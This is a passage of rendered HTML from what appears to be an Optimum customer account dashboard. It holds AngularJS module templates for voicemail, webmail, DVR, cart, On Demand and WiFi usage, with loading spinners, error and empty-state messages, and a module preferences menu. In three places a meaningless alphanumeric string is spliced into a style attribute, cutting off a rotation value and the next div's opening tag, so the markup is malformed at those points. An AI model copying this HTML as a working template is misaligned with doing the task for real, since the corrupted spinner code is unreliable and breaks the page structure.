0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'onTonight'"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; 